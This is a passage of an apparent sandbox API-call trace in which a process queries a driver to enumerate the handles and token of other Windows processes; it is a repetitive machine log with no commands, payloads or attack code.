nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0072.403] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.403] PsAcquireProcessExitSynchronization () returned 0x0 [0072.403] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.403] ObReferenceObjectByHandle (in: Handle=0x324, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00181e670, HandleInformation=0x0) returned 0x0 [0072.403] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.403] PsReleaseProcessExitSynchronization () returned 0x2 [0072.403] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.403] ObQueryNameString (in: Object=0xfffff8a00181e670, ObjectNameInfo=0xfffffa80039d8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039d8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.403] ObfDereferenceObject (Object=0xfffff8a00181e670) returned 0x2 [0072.403] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.403] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.403] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.403] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0072.403] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.403] PsAcquireProcessExitSynchronization () returned 0x0 [0072.403] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.403] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001883dc0, HandleInformation=0x0) returned 0x0 [0072.403] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.403] PsReleaseProcessExitSynchronization () returned 0x2 [0072.403] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.403] ObQueryNameString (in: Object=0xfffff8a001883dc0, ObjectNameInfo=0xfffffa80039da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.403] ObfDereferenceObject (Object=0xfffff8a001883dc0) returned 0x2 [0072.403] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.403] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.403] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.403] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xae, lpOverlapped=0x0) returned 1 [0072.403] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.403] PsAcquireProcessExitSynchronization () returned 0x0 [0072.403] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.403] ObReferenceObjectByHandle (in: Handle=0x334, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003065d10, HandleInformation=0x0) returned 0x0 [0072.404] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.404] PsReleaseProcessExitSynchronization () returned 0x2 [0072.404] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.404] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039db044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039db044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.404] ObfDereferenceObject (Object=0xfffffa8003065d10) returned 0x1 [0072.404] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.404] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.404] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.404] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xb4, lpOverlapped=0x0) returned 1 [0072.404] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.404] PsAcquireProcessExitSynchronization () returned 0x0 [0072.404] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.404] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0018822d0, HandleInformation=0x0) returned 0x0 [0072.404] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.404] PsReleaseProcessExitSynchronization () returned 0x2 [0072.404] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.404] ObQueryNameString (in: Object=0xfffff8a0018822d0, ObjectNameInfo=0xfffffa80039dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.404] ObfDereferenceObject (Object=0xfffff8a0018822d0) returned 0x2 [0072.404] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.404] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.404] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.404] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0072.404] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.404] PsAcquireProcessExitSynchronization () returned 0x0 [0072.404] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.404] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8009f26a50, HandleInformation=0x0) returned 0x0 [0072.404] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.404] PsReleaseProcessExitSynchronization () returned 0x2 [0072.404] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.404] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039dd044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039dd044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.404] ObfDereferenceObject (Object=0xfffffa8009f26a50) returned 0x5 [0072.404] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.404] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.405] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.405] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0072.405] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.405] PsAcquireProcessExitSynchronization () returned 0x0 [0072.405] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.405] ObReferenceObjectByHandle (in: Handle=0x35c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0018b3390, HandleInformation=0x0) returned 0x0 [0072.405] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.405] PsReleaseProcessExitSynchronization () returned 0x2 [0072.405] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.405] ObQueryNameString (in: Object=0xfffff8a0018b3390, ObjectNameInfo=0xfffffa80039de044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039de044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.405] ObfDereferenceObject (Object=0xfffff8a0018b3390) returned 0x2 [0072.405] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.405] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.405] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.405] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0072.405] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.405] PsAcquireProcessExitSynchronization () returned 0x0 [0072.405] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.405] ObReferenceObjectByHandle (in: Handle=0x360, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0018c8080, HandleInformation=0x0) returned 0x0 [0072.405] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.405] PsReleaseProcessExitSynchronization () returned 0x2 [0072.405] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.405] ObQueryNameString (in: Object=0xfffff8a0018c8080, ObjectNameInfo=0xfffffa80039df044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039df044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.405] ObfDereferenceObject (Object=0xfffff8a0018c8080) returned 0x2 [0072.405] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.405] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.405] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.405] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0072.405] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.405] PsAcquireProcessExitSynchronization () returned 0x0 [0072.405] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.405] ObReferenceObjectByHandle (in: Handle=0x368, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001c1b550, HandleInformation=0x0) returned 0x0 [0072.406] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.406] PsReleaseProcessExitSynchronization () returned 0x2 [0072.406] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.406] ObQueryNameString (in: Object=0xfffff8a001c1b550, ObjectNameInfo=0xfffffa80039e0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039e0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.406] ObfDereferenceObject (Object=0xfffff8a001c1b550) returned 0x2 [0072.406] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.406] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.406] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.406] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0072.406] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.406] PsAcquireProcessExitSynchronization () returned 0x0 [0072.406] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.406] ObReferenceObjectByHandle (in: Handle=0x370, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8005ffe6d0, HandleInformation=0x0) returned 0x0 [0072.406] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.406] PsReleaseProcessExitSynchronization () returned 0x2 [0072.406] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.406] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039e1044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039e1044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.406] ObfDereferenceObject (Object=0xfffffa8005ffe6d0) returned 0x5 [0072.406] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.406] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.406] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.406] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x90, lpOverlapped=0x0) returned 1 [0072.406] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.406] PsAcquireProcessExitSynchronization () returned 0x0 [0072.406] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.406] ObReferenceObjectByHandle (in: Handle=0x380, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0018c86b0, HandleInformation=0x0) returned 0x0 [0072.406] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.406] PsReleaseProcessExitSynchronization () returned 0x2 [0072.406] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.406] ObQueryNameString (in: Object=0xfffff8a0018c86b0, ObjectNameInfo=0xfffffa80039e3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039e3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.406] ObfDereferenceObject (Object=0xfffff8a0018c86b0) returned 0x2 [0072.406] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.407] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.407] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.407] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0072.407] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.407] PsAcquireProcessExitSynchronization () returned 0x0 [0072.407] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.407] ObReferenceObjectByHandle (in: Handle=0x384, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00180e3b0, HandleInformation=0x0) returned 0x0 [0072.407] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.407] PsReleaseProcessExitSynchronization () returned 0x2 [0072.407] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.407] ObQueryNameString (in: Object=0xfffff8a00180e3b0, ObjectNameInfo=0xfffffa80039f4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039f4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.407] ObfDereferenceObject (Object=0xfffff8a00180e3b0) returned 0x2 [0072.407] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.407] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.407] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.407] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0072.407] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.407] PsAcquireProcessExitSynchronization () returned 0x0 [0072.407] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054f85d0) [0072.407] ObReferenceObjectByHandle (in: Handle=0x38c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0018d2a60, HandleInformation=0x0) returned 0x0 [0072.407] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.407] PsReleaseProcessExitSynchronization () returned 0x2 [0072.407] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x49 [0072.407] ObQueryNameString (in: Object=0xfffff8a0018d2a60, ObjectNameInfo=0xfffffa80039f5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039f5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0072.407] ObfDereferenceObject (Object=0xfffff8a0018d2a60) returned 0x2 [0072.407] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.407] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.407] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5cc) returned 0xc0 [0072.407] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0072.407] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80030b5b30, HandleInformation=0x0) returned 0x0 [0072.407] ObOpenObjectByPointer (in: Object=0xfffffa80030b5b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000960) returned 0x0 [0072.407] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x2a [0072.407] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000960, DesiredAccess=0x8, TokenHandle=0xfffffa800268c4c0 | out: TokenHandle=0xfffffa800268c4c0*=0xc8) returned 0x0 [0072.407] ZwClose (Handle=0xffffffff80000960) returned 0x0 [0072.408] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.408] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0072.408] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0072.409] CloseHandle (hObject=0xc8) returned 1 [0072.409] CloseHandle (hObject=0xc0) returned 1 [0072.409] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.409] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0072.409] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.409] PsAcquireProcessExitSynchronization () returned 0x0 [0072.409] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054f85d0) [0072.409] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002a53310, HandleInformation=0x0) returned 0x0 [0072.409] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.409] PsReleaseProcessExitSynchronization () returned 0x2 [0072.410] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x28 [0072.410] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039f6044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039f6044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.410] ObfDereferenceObject (Object=0xfffffa8002a53310) returned 0x1 [0072.410] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.410] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.410] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0072.410] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.410] PsAcquireProcessExitSynchronization () returned 0x0 [0072.410] KeStackAttachProcess (in: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80030b5b30, ApcState=0xfffff880054f85d0) [0072.410] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800fdffaa0, HandleInformation=0x0) returned 0x0 [0072.410] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0072.410] PsReleaseProcessExitSynchronization () returned 0x2 [0072.410] ObfDereferenceObject (Object=0xfffffa80030b5b30) returned 0x28 [0072.410] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80039f7044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039f7044, ReturnLength=0xfffff880054f8508) returned 0x0 [0072.410] ObfDereferenceObject (Object=0xfffffa800fdffaa0) returned 0x1 [0072.410] IofCompleteRequest (Irp=0xfffffa80026e1010, PriorityBoost=0) [0072.410] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0072.410] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0072.410] PsLookupProcessByProcessId (in: ProcessId=0x5cc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0072.410] PsAcquireProcessExitSynchronization () returned 0x0 [0072.410] 